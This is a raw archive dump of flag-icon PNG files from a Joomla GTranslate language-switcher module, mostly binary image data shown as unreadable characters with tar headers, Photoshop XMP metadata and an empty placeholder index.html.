ٽ3��U+���u�S�T@+!�	�!�C�\�K��{���9��o�w���}�$�a:��tm� W"�+-�i�цԕz��H��I�������J�oN�K>ץ�Zp\t��MGB.�+#ȇ̕b������ıp�s<�c3G�8{�?16���c�+<К�X�\���4P��I��7��=�È�5 �8_��*T/��s,�-��,1���� �T�.d�eb2�W��Cw+{Z��Ϛ8yzU�[F�z��b<��k������
��Β��nS-G:v����.Va�b����R��Ř�Z��1:���.���Bw+�{����&�wn�Oĸ���%������D\��ɀ��'NM#	�H����'m���C�A�[�� "cV�5�aj��+/�f.[��o��F�?��p�тD�\���77�,�lp�c2�,�wޕ��7��I�k@W4�R"8R��?�
9p�
[6�q��������+��E����
lX�'d_��E�V149��_���"��^�IEND�B`�mod_gtranslate/tmpl/lang/24/lb.png000060400000000652150746170550013005 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F0IDATx�ԖAN1E���P1��	�9{N���q�!�Q	��:�&�Y�dJ�� �o9�w��Ǧ1��'�S�*�����n��e2)~��LJS4��뫢����^S���\`f���D`+�����1�
�=���.[�m��������6�ηaU����h�X��-�"�XLC]��+�b�TUu逬WQdN�kP)d��`�%�7�OP7,ױyS{\h7	�b��DM�<@T�h!���%�[���8�\)H��!E#}-Ƙ7A�p�&�^�D;�r�|���_��(��.�w.IEND�B`�mod_gtranslate/tmpl/lang/24/kn.png000060400000001121150746170550013010 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jSA�s2��bRm�X�H��p#��,�
>��ڧ*>������qQ�R�$�I���;3�E{�M��f��͙�?3FUY%	+��;0� *�v-Pi��P)��뷛(���ϋ
��G����n�;�N�����gy��$7�����Ѭ�f�b�/Y48���v	�6:h�ձ%�ȸ�*΅��!��7˲S;Nf.�7���]�����d��s�(�� ��P��J�t�D��$7��,ԙ�����I��
~�»�[��I}��Ԧ]&�� c-.�h
e�t��n��r��������c����P}z�8��m������ht�T��gwg}y��ޠ�p9�_��ʤM��F�ϕ��	6�ʁ� &"��`����3b������M�4� (!?���?<��?�,
7lRȦP�������pxll�|��hkS�
$��U�߾�ͭ�=IEND�B`�mod_gtranslate/tmpl/lang/24/ru.png000060400000000747150746170550013043 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FmIDATx��N�0�?g0�BH<7�<G^�'ހ�@�eMlsXG�1&&��2_�����N����ti��m @�cNS`Z����׋�`�aF�NW6؝�@p}s���>ӔeуA��{�D3�e��t1��V5W�i=[��9U� %cRF>ka~K��"Ӓ���f�XU[���D���mU
�2�ƤLD���F��6��nX&q�nD�V	��fy\�ۛ�N �8,f��>�O��Մ/�W���{D	\�L�
�t����'WMMLm��2*d�O\�u&�?6�-I!�Z�A7ے�(f-r��0�+�7j��-�5\�6���2K�'�QjQzԁ8�c��v
�5����g���IEND�B`�mod_gtranslate/tmpl/lang/24/hmn.png000060400000001431150746170550013166 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엻nQ�������c��h�@�D
�t�(��1(��Aހ�FTQ ��"A`'���Ι�X_֖M��4�fw���3��f��q�p�v�!P<�4$����aӅ���jF�0�������~u9.p��n��6��mO�>]���o��������öt��-�2|3�}f��p�<���iP��z}���Q_Wd7�7H�Uce+��)B~�`�)��M?���g�L�]`u+�`�
���}P�%hߝ.�K�ec��q���6+�3,u\y�}W!~[E�~Y������V��NJx)�vO��h���<F�t�#?��Sf��$�Lи��z�%�?���8�z2&pͨ�I��DX�t����E
2�C�G��4_�[�@���i>�
4�
zFa����u�+f�D�NK�a�t`�R��Y-ׁa;
Z
���}�HV�!�*�h�w8�6,���I-K!')�8��d{�*�z}��T���<�mjm�5�Q��pj����y�fst����M0+d���
] "T̰���(�ؙ�A_�F^ℬ��3�W?���I��I�lAD���9���)�����RG�A�y\n%�忁�n�OP<˴h������o�w��<�IEND�B`�mod_gtranslate/tmpl/lang/24/ku.png000060400000001223150746170550013022 0ustar00�PNG


IHDR�w=�sRGB���gAMA���a	pHYs���f��tEXtSoftwarepaint.net 4.0.12Ck�IDATHK�S�OQ�` 1!(��.�8x���O��Í!�D��ŃMH�.�T-M�i����Vk-�
�P ����}��f�[�d�%�Nv��|3�fZJ��Oj�~R���8ȶ��M�8��߸��wp�GY�0�}�Ϲ�*�{��$�u�Y�_�2��)g�m��7��4�c�l�cN�b��, A3���hu�|�y��
��%������9�=�ҒҪ���>v��.43r�e8)���0W�'Z�
_s�@��@�	n��N��	P\}�%�@�/����A��_�0d��0WP-qv�i�>��+�d���:_lؚ�<�:����;|�	��Ww����JZ�f�>x������y��`\jG��-�\�e��Kj�B]�މלy�7<f�脹��W�&S��,(=Z����l/[ӀY@�B��ZV�v��(�&M��Ce
p�@И��?�ג��e����
P��z���Z���:����8�{�|�b�IEND�B`�mod_gtranslate/tmpl/lang/24/uk.png000060400000001076150746170550013030 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��n�0@��)+e�w���G�ȇ�O|w�!��$ڒn�Ğq���-�{�\Ǔ�y����sHi8�<�Unk�C<y��ӏ�H]Ӌ���X�F8}u���,~�??{�S��c����`��dΠ������PF��]Q\~[�=}��Q
`�����V1I��Z�h�uTn*��Q}�jl���BC�\0$s�~d3�J��w�:]����Ð{��Xm�����>�g*A��Rt����t��<�� �ӥD4�b�15� ���k�|��b���d���޴n	����.p�^��f�&�0[(�ȎԶ/M�*/�t�����H�)��������H��ca�_L��d�3ׄ�zO����f���0�r\��z@��gբ4�h*��-�rY��,�Np�ۚ2�<\N
�k�y
��IEND�B`�mod_gtranslate/tmpl/lang/24/en-ca.png000060400000001513150746170550013370 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�kTW�?�����L��$6j����E��Z�	�dUD�Fm7�.W�Ѕ�F$-M�P�dQ�n*J:F�$�If�ͻ���"3�1Q�$/\8p��=�{ιFU9�p�� R ��-�E@����
��$I�:���;��z����~�$_�y*&L�~u��_7�r�rw![^���ȋ�y��Z�*Ƙ=�g�!gfv���(��{Ej���]���>]�A��ǟ� 1�R6�e�m�Ƌ�w:h��7�yy�&�ڄ("��|}��N�]=�t�N�[�^�X��cdm�`j� I���ЩS �hNE�E������U8�f�J��?��w��
��NO�=@�'>�!��w��Mx�$�˗�v� w�ܖ�Z����Ŧpv��	����_�0QX�n�_��ǐ�Dss�;� ₩�s��&��e������o�&j|��t�ͧe��5��T��`�/f|�4s����td�&R��1y�
��D�3#X� �Cp8���޾E��!��$��9�/���Ll�)���j�=�ewT9�ݷD'O�V��Ĥ�N�U�U�b���
��M����l�5�h��c�`<~4���w2��c��Z�	Ze�ށ*���[Z�gon,��2��hV���eTkܡ��w���$�,Ø��0�pd�NXv�d�}��W�j�ӄY֕uIEND�B`�mod_gtranslate/tmpl/lang/16/lo.png000060400000001022150746170550013013 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nAE�xv�Y�h#��J(.��=e���	(U�����R*>�P� �&r��ٝݝy�,���m^3�ν�ݧD��@u`uZ�A����.����mz@C�%h�-(Y!��7��h)K$M����2gt����%����vd��M�Y�G����ך�g���kJȏp���ecC��4G*Gc5��Q��8�I����~���d�`B�g9ݟ	��ALE���V4���	�n/A��Z��
jY�SV�WS�~��]�f�ɘ�	N�sBiY��)0z��E��9��g������o>ӿJ!�D��5��f�}�)޾h=h �,�� ���˖`����%ȹI��BaE�:�%��" ֖lN�����(�}��A=�N��IEND�B`�mod_gtranslate/tmpl/lang/16/uz.png000060400000000716150746170550013050 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FTIDATxڤ��NA��ٝE`Y�l�������11>���`c�{�6&�&��X��h"?��3�쎅�$j��ifr3盹�{�1�U$�P��<�T����eN���<���a�U��}z<	��7%�QL�d�� J�m�q��0�?(~=Y�1p�<p%`k��g)���?��1�c��`	�0���U����%��ӥs9��j�㌐���M+�Ufc6�6��� 0y�Z�R*���=@E�s�h_��pг�l@���ˑ%F�xx��
�8]n*�a�@+�����RC�V�N������DA�4/�y�
�΂d�$���s����(IEND�B`�mod_gtranslate/tmpl/lang/16/ht.png000060400000003021150746170550013015 0ustar00�PNG


IHDR�atEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:7373afc1-0ddc-11dc-983c-b208d23bf319" xmpMM:DocumentID="xmp.did:E8AB9496723C11E2BB1EB6E1DF7AD1D8" xmpMM:InstanceID="xmp.iid:E8AB9495723C11E2BB1EB6E1DF7AD1D8" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4C4ED459379DE01197678DC80A35758B" stRef:documentID="adobe:docid:photoshop:7373afc1-0ddc-11dc-983c-b208d23bf319"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>dـ��IDATxڤ��JA�==���Y�F~\rH ��� ��y�<@>C��{ ǀ�rA�<��A$H�qg����tM�J.�6T�]�_WWM3c�3�����w�!�e��˯?������	)���y��]{�kLnD.
���@���ԇD�Gs�
Ґ��
��ډp��u�n�UnF�,E�,�4e(M��?M�̥�\���Od�ڠ�>��r�3�f�e��G$��@���v�%��!��ޗx�~l~��[^����`����̇��r��|N�.;�����Ƕ���<����!Ό��а�5h�a
hmn �+����1]�@]���	U\��0�����s<���c8����XM~�Y����J���U�ݣ�r3l/i���~��YyQG!���ڨ�����F�
k�T�����1x�!����������K�IEND�B`�mod_gtranslate/tmpl/lang/16/eu.png000060400000007666150746170550013036 0ustar00�PNG


IHDR�atEXtSoftwareAdobe ImageReadyq�e<
@iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.2-c063 53.352624, 2008/07/30-18:12:18        ">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/"
    xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
    xmlns:Iptc4xmpCore="http://iptc.org/std/Iptc4xmpCore/1.0/xmlns/"
   xmpRights:Marked="False"
   xmpRights:WebStatement=""
   photoshop:AuthorsPosition="">
   <dc:rights>
    <rdf:Alt>
     <rdf:li xml:lang="x-default"/>
    </rdf:Alt>
   </dc:rights>
   <dc:creator>
    <rdf:Seq>
     <rdf:li/>
    </rdf:Seq>
   </dc:creator>
   <dc:title>
    <rdf:Alt>
     <rdf:li xml:lang="x-default"/>
    </rdf:Alt>
   </dc:title>
   <xmpRights:UsageTerms>
    <rdf:Alt>
     <rdf:li xml:lang="x-default"/>
    </rdf:Alt>
   </xmpRights:UsageTerms>
   <Iptc4xmpCore:CreatorContactInfo
    Iptc4xmpCore:CiAdrExtadr=""
    Iptc4xmpCore:CiAdrCity=""
    Iptc4xmpCore:CiAdrRegion=""
    Iptc4xmpCore:CiAdrPcode=""
    Iptc4xmpCore:CiAdrCtry=""
    Iptc4xmpCore:CiTelWork=""
    Iptc4xmpCore:CiEmailWork=""
    Iptc4xmpCore:CiUrlWork=""/>
  </rdf:Description>
 </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                           
<?xpacket end="w"?>�
��IDATxڤSKhSA=yմF�4U��"bS?��kE"�t!.JA-��+ԅ`]��
�R�T��F�A
H�?��b���M���1}Apz��f�9ܹ�B���<<��s3azX�!�lx��b"�EC�m8�x�����n���YB:~�#KVb}�1�YDG��*�{'˥6O���l���K2�
iQ�����=���|���]��>Zs��/`t�@�������rv9x�=njA"��j]��.����m
�
�t�`{<��i��*3
�������{{E��nu7^���TNEe��ح�*i6(�r�]כ~�U���q�Sǭ�l���ɷ�e���TW>����B1�F
t��oYĥ]��m����Tѿ��""�ر�:�rP`_ �q1EvG�\L���ђ���u0����
���`g�ˍV�&�����l�PF�H�߉��n,��������T �!�a]�u�z(P����&h���Z���%����IEND�B`�mod_gtranslate/tmpl/lang/16/la.png000060400000000743150746170550013006 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FiIDATxڤ��j1�Zie;M !PzvzʱP��<f^#/rHrȡ�PlJa�|v%�J��e�q���AH3�f�G��1X`#��X��Gǿ�	K��O_��Ԟ֡��|Y
���@�4H�Gb�(^2�E)3��
@l���f.����R �w4�
�9D�`2|�S��t;L%��'�#�ꚰ[al��=|]�+�g���f��I���/��ncm��{
�jD -q�g��'�a��f@�o8�;p�O&.iZ�@���JW[������@ֲ�$7�������? ��J�ܯ��&W�"-�U�=̮>�!���킐&�h��7嬀-����.�C�ܻ^��޻�OX���ywIEND�B`�mod_gtranslate/tmpl/lang/16/km.png000060400000001027150746170550013015 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��jQ���3�=�1�D�,T��O`ĕ�n|��t#��ٸu!�}��"
	��H���n�ou�-���f���EU��S?FU��z�v�y`f����a�ɂ�uc��zy���AU�2�z�Ig��8��t��ܥRG���Iҫ��T�4�۫�$!|��	�>��?X,@*�ј�'�������
B���@y�Q����EAko�����L��#Z�k��;f_�$�y���{dw7?O��Y���hUc{]L��Y_C�
Tqw@*l�����($�'0EN�9H=s϶�6B 6#���-��?�e�i�ɀ��+/���%�PO��4�G�(����D�vT�-7A����H��
����3��?e����ܔ
 ��w���PX�a�IEND�B`�mod_gtranslate/tmpl/lang/16/be.png000060400000000671150746170550013000 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F?IDATxڤ��J�@��ɌMJj���j��K�|�A�gp�+�bwn��B-�6�:�$3n�
R��gs7��{ϽG8��E��u�"���x�&T����߄���B!%��jS;?+Y�p$O��������m��
�$;m\�H�Gc�/��q\n���@���v�(t
�v%F'���PI������	�(BK��<�(B��8kK6K�6vX
����	��{�_J��.����A~�E��|���$�`b�xA:T��X�1���+�/�x�8����h=`�b��Hr$Y�F��y�t̚�)�IEND�B`�mod_gtranslate/tmpl/lang/16/zh-CN.png000060400000000725150746170550013331 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F[IDATxڤ��JA���ۋ	&��)�����#ZX�>�
��M,�h����;E!�,��7;?f���)���{9�M�����d@����M��wv���u����b7�3�\��a0�ػ���%���X�@.�GoM�M�'�XUO�t�E���x�k�`-�vN�,�q����=�+
�k*ω��|0��)�r�*4�
=���$|�A��LYҹ$�f|���&�����&�@Y���TE��-HK)xJ��5UHJ-�����L�[p��Zj�D�Z&Zk��C�r3�R�S\���/���	����X�vu�{E�������w�]�IEND�B`�mod_gtranslate/tmpl/lang/16/en.png000060400000001303150746170550013005 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIIDATxڤ�]H�Q�g{�95ׇ1��b$�0$�f}�IE�fA]D�E`^�
J���ԋR"�rQ����1?&�ͯ����]�݉��s����BJ�j$+��<W�80������-��y4l����c1^<�g��e�Tr��pc7	��ʓ(�kIufg+@Z�����rbo)E�j�{��͂}�v�tL6e{\��Qٕgcֽ���Wi
`��=Ľ�E�L��ԕ���=�����'4��"ef*v����`@�Lp��fCj��!��\U'�˻�8�����7mU~m$5Á�¿�H	fHI����ƣ����q��b�'"h�)D��#�`�*�	�����K�����de%+�pW"	
_��|Axrܥ�J<���ZHy����Y�H��%0o%坏OMx�)��0��N���������}�'	��:�w�Qq�Cg�8Ņk�ޫ����e��:�Ш�U�6��8y�&�?���Zvhу���KgX��@dq�A��;]HM#��w$@Ӆ��j�������@.�f�Y��`NɼB���j�w���kXp7IEND�B`�mod_gtranslate/tmpl/lang/16/ar.png000060400000001205150746170550013006 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIDATxڤ��NQ����3"�DT�	`����xY�K&�Ƨ�
|��ĸt�Q�/,�F���sk�˙>u\0ᒰ!ԦR�ʗ��+k-G	d��|����w�=Z;pD���x��>=�=FWs���f
�~���*��P(,���<@��Zڴ�M6�&��q3L�qٿ
D��I���n-m�H�����^S��T���X�C,v�<����&�rH�޾ J��&��c}ì�~�Z"U>=����J��,��Է꬇M�$��#�%��2���Νʳ�7��u��Q
*(��U�R�(��. �"RIIi�!V9\9?�Gc�k�1<7C#��&��8�HbR1���?��O0�����I�.����FO��ب VH�'1�O���c(/�Le�Bo�{�w��|C��z�&V�^���I��t[���������;Fz�tyy�JA�˹�;}���;m������'�t*<����rV�䀓��B��v��`��j���4z"jIEND�B`�mod_gtranslate/tmpl/lang/16/ha.png000060400000000671150746170550013002 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F?IDATxڤ��J�@��MBն�� �W��_B�C��4z��Ї�w��UPlR��nw�Cb�V#�23�̷�̌�c
h��/cG@|xy���^���GWg?7'�Йz��ޟ��o�-+��p�rЉ��:K�O��$�����,�h�Xg��X�P��t��kA`� �r��3!��4Me���R�T��w�$z��à?���.���2"��F@]��b�iȵ&l��ģ��Sq��A�'(@�~q�
M)�8!��c+xZ�P~����SM�x�I���
z��\����b`X_�R����<�pI����9

򙤗ƻ�IEND�B`�mod_gtranslate/tmpl/lang/16/fr-qc.png000060400000002752150746170550013424 0ustar00�PNG


IHDR�atEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:7373afc1-0ddc-11dc-983c-b208d23bf319" xmpMM:DocumentID="xmp.did:095AF03A71C011E2BF1285FF739A74D1" xmpMM:InstanceID="xmp.iid:095AF03971C011E2BF1285FF739A74D1" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4C4ED459379DE01197678DC80A35758B" stRef:documentID="adobe:docid:photoshop:7373afc1-0ddc-11dc-983c-b208d23bf319"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�����IDATxڤS;KA�.��IT01>H �(�"���;Q;�,��^+��`)���NZ	�ZHPC���� w�ǹ����c�ٝﻝ�YA�44cs;sO
͘�<O���oq�,�أ���9��8�r��j`Q��=��2t����1	� ��K~52�12D�ׂ�W<>�А�D�XA6_D�!	|$s=α�n?x.q�KP�"�����/�
 e�����gx.qxY�*�*Rig��ht&RV�x�sloup�n}�$if�8ĵ��,˦�_���g �}p9m��MW'�u��}�����7_�"+�T4l�cm���z����q�mO�\��W��
��T�]nx���*�����/�r�V
��D�:Η8�-�4�-�"�6�̽&������EM
��z���/���۱��]�IEND�B`�mod_gtranslate/tmpl/lang/16/fy.png000060400000001245150746170550013026 0ustar00�PNG


IHDR�asRGB���gAMA���a	pHYs``�lrYtEXtSoftwarepaint.net 4.0.12Ck�IDAT8O��_HSa�OQ�uUP�EuEe]vS͒�0�����EAЅ^h u#�*����\���j���r83
��j�;�����w�s`�E���}��=�|��
.�R�L(��A�:ul������|��ks���G�H�3�"
��&,/��=�\,�줦}�H<M��OC�0q��gVU=DZ}������!l� �ŧ&�d�Ц�V�Z��6�L}#���ۏ�	v5�1����K;�rjG�4�F���{��)dc��3iM�S�\yҌ�DZQ(_�D:'̺n]~D�����I�ghu뤀0o`l�Ľۄ�"7^�?����ݑfRvv���F�~6�XtR�_w�I��EvnV�(�di��T�4��"xh/���lbF�X���O��8����#�3:
v6��yM����rC-�7��z�VR��@$�����$G?���/��0����{���̟�"��,0O�����b?�U�H����"�i�L�q�Լ�&'?~4v{�X4�,�w ��ܹ�96IEND�B`�mod_gtranslate/tmpl/lang/16/es-mx.png000060400000001016150746170550013435 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ��nA��31��p�4.�D�UB�Ф�3�L��
����P"	Q�X$)�s��{�
��3$+��f��o�	D��Xԁ{��4f�a��v^��3���r�?y��B���h:q,�-��]������#@3T���8��?�����<P!��-���\M9kqzH=n㓤$N)F�h�9�)��=�4��no�����W��e�,`�.~j��ILV�|��;<��罷,�Z�U�
�Q����Ig�1��"���:�/c2���W��
Q3�WD����Vc����9��+��0c�VkB�KP!0n�Y�V$WFEm+$Zk�A���r�d����xL�z��N�z�	�?��Q��:��)w!���^$5%�lp�u�5:��C�>� IEND�B`�mod_gtranslate/tmpl/lang/16/lt.png000060400000000613150746170550013025 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIDATxڤ�1N�0�?�NK��	q8;�c�pF�	B���q�����i�Ų�{����F�^��~P���&����r�`�H�G��Z�A�����+�%�"�h�z�IJ�2N"$��`.��8,���1��d՟�*�8��{�/Umy�7fn%p0�E[YT��$$D|������PUQ�$�xi+@�bRP*
 "�έ
������4�²��V���k���P'����9��
�h������k^�E�yIEND�B`�mod_gtranslate/tmpl/lang/16/ig.png000060400000000671150746170550013011 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F?IDATxڤ��J�@��MBն�� �W��_B�C��4z��Ї�w��UPlR��nw�Cb�V#�23�̷�̌�c
h��/cG@|xy���^���GWg?7'�Йz��ޟ��o�-+��p�rЉ��:K�O��$�����,�h�Xg��X�P��t��kA`� �r��3!��4Me���R�T��w�$z��à?���.���2"��F@]��b�iȵ&l��ģ��Sq��A�'(@�~q�
M)�8!��c+xZ�P~����SM�x�I���
z��\����b`X_�R����<�pI����9

򙤗ƻ�IEND�B`�mod_gtranslate/tmpl/lang/16/da.png000060400000000640150746170550012772 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F&IDATxڤ�1O�0�?�N!*����J�	��Y�0�O��I`!T(C[���1Ц)HQ���ޓ}~�D�e��:�6Y���h�N���O��/�����O���Ֆ+G�������w{�0��,C�������?����@�@���Lj|4*	�I9��&8[��i�JU�i*@���}SN
�Z[Y`�1�'بN>��},
�v�J�Z���1(��j圈`���sVcT��r�y�� ��p�~�Sį��vV@h���=�� ��j�q�(��Fs�4�IEND�B`�mod_gtranslate/tmpl/lang/16/mr.png000060400000000657150746170550013034 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F5IDATxڤ��J�@��lդ�*A+�QГţg�I<�0^���*��k[��&���Z�*�,���|��̎����}X`��Z��}�׷��w5P����5+!�4*�ĥ��Ϣ�L%:�R�����Yj(�_H�_H�S%��L���(j��_p�S۠��p�\��qL'��,A�C���˅��	���1# I�_2��{�ߢ�y?1���rX%���I?��^'�F��Aġ�E��D6�J�X�ByԔ�]@0�N��^�u��hP���E�x��%	r�����ثy�qDIEND�B`�mod_gtranslate/tmpl/lang/16/yo.png000060400000000671150746170550013041 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F?IDATxڤ��J�@��MBն�� �W��_B�C��4z��Ї�w��UPlR��nw�Cb�V#�23�̷�̌�c
h��/cG@|xy���^���GWg?7'�Йz��ޟ��o�-+��p�rЉ��:K�O��$�����,�h�Xg��X�P��t��kA`� �r��3!��4Me���R�T��w�$z��à?���.���2"��F@]��b�iȵ&l��ģ��Sq��A�'(@�~q�
M)�8!��c+xZ�P~����SM�x�I���
z��\����b`X_�R����<�pI����9

򙤗ƻ�IEND�B`�mod_gtranslate/tmpl/lang/16/nl.png000060400000000557150746170550013026 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڤ�1N1E�cg�hA)hR�J�8
7�4�q�4H���34��T��/Y�%�?�#�QUN�*��K��O,��w��T_=>\:�֜�]_�D6(J|z�`��ж%����C������1"
�4�(�%�p8���Z*��	@����{� �P��8���=v���e��Sr��QL���)%*Q��E ���IEh�^����`��[`k��-�@2����w͙�:�IEND�B`�mod_gtranslate/tmpl/lang/16/sl.png000060400000000724150746170550013027 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FZIDATxڤ��JA��Iv�1ƍ$A�B��Vk�l;�A��`a!؋���XXYى"��h $^Vc������ r��a�o��F�"�dcD�1KD�CݮT�b����M��`�c̦⨐�ň@�������_�+�~����D/@8�>d3Iv���f�H��lz��c�3��Or[�,-L�p
+��H�����q�%�
�95����o���
痏\���at��x���Tk&
���9@��W��՝6�xļi8N_�U��x��\1P�/��Ps�\��hL�?@�j�h_�[�&�Z0�4���j$1ҙ�>�Z���I�u����IEND�B`�mod_gtranslate/tmpl/lang/16/tg.png000060400000000664150746170550013026 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F:IDATxڤ�=J�A���IDcPD�P����w��Sx[Ϡ�)R��I�������� ��f�yޙywF������]%<0�@�{y����ͻ�]�d4�r~�d�
DO5|@>���G�<�GeC���`p\�e���x$@B��E1F��'�{�é�,:HY 1PR���0�9���>����	=Lu�T���)c�����#��H%��#N�H��y�v-�{�6�x��u�P�\�_�<����n��ݗ�\�;������*	�L��(��z�YF��p�W�����̊�j�s��v��+���IEND�B`�mod_gtranslate/tmpl/lang/16/jw.png000060400000000515150746170550013027 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�̓=�0���CA���wa�,ܤ�,D�I�`~T6o�,�=?˶~���S��&���M�|�� �.ZV���2hi���'�^-�A;г)�4�D﹞+�U�����`�s�O�.�݊R�y�Yp���ZI��V���K���'�d�'��m[ʲ���&@��5pP�~<�N�@P���mǹ���!�QIEND�B`�mod_gtranslate/tmpl/lang/16/ne.png000060400000001172150746170550013011 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FIDATxڤ�]H�a��>\E�E&٧�JtQ��FIe7�P E7�a8\h�I�bQ�B���]E�$ɡQI�����p���|���.����t��9Ϗ��("������گoC;e�o��
E��t�M���g�[n;V�W}M'�L��5���b����x�����u!��h)
r9*���q��:��h��We�~�|����u��w���m- B2pm�����Vrl����o�<��g��3���A{:��{��Ҫl�jSp���Ћm{;U�:�[��!���~b*9�)r),"b1^LM$�$�E�{���w^���: @��{"�"�ł�U���2NC�]kM]�Y �_	 ���$���#��-2��|+��{��ة�@A׊��w2���OOPK��gaᆪ]�B���~�đ㠘�F?�ɻ��޼�m8�U���eoޓ�]pWzԥ��эew>���("��(�/4���@RDrF���E
Ё���!��_G��IEND�B`�mod_gtranslate/tmpl/lang/16/sk.png000060400000000757150746170550013034 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FuIDATxڤ�?OAG��ޝc�	q���0E>}�T�*_(R
�� :z("��)��RdGBV"ct|��–��S`O����ͼUe� 6g�K��>���Õn�<`c�`��Z�1S����`6��=?_z�Z�pr��(�a?��̩�� �������L5���W*@��$c�IF8����v�7Ft��Ԍ���	N�
��l�7S.�k�(�p���9p�j�*�$+�4o���� ��)����;
5�x�DIg!�W�ӟL8�Z��9� Bԍ�nM7�%1�,T�,ϫyQ��:(�:�*�.8G6��U����a��@�(���%z~���p#-PȺ��V���t���IEND�B`�mod_gtranslate/tmpl/lang/16/index.html000060400000000054150746170550013674 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_gtranslate/tmpl/lang/16/ny.png000060400000000745150746170550013042 0ustar00�PNG


IHDR�a	pHYs�� cHRMz%������u0�`:�o�_�FkIDATxڤ��jAE��̮eٲ�%n1I��Թ��\�+�W��),pcHa�*�&k��y�3/EdI��d_x�b��}�r�����{���t:���‏.��,�4q��3�����1F&��Jҙ+�7��1dI9G��	PU��9�����4
UU�Z�f93��#�D���6��e��Xཧ�k��|0��`�!7��w(��Y��_�˥;d؁�}��G��R�l����p����Z���IM���zt�wv��k[F�i;�肬	�|�D^�h{����#T��@:�j�,c|iT�m��E��Cy	��ј�s��5U��`�����HvG��yk��
�[����B�IEND�B`�mod_gtranslate/tmpl/lang/16/sw.png000060400000001217150746170550013040 0ustar00�PNG


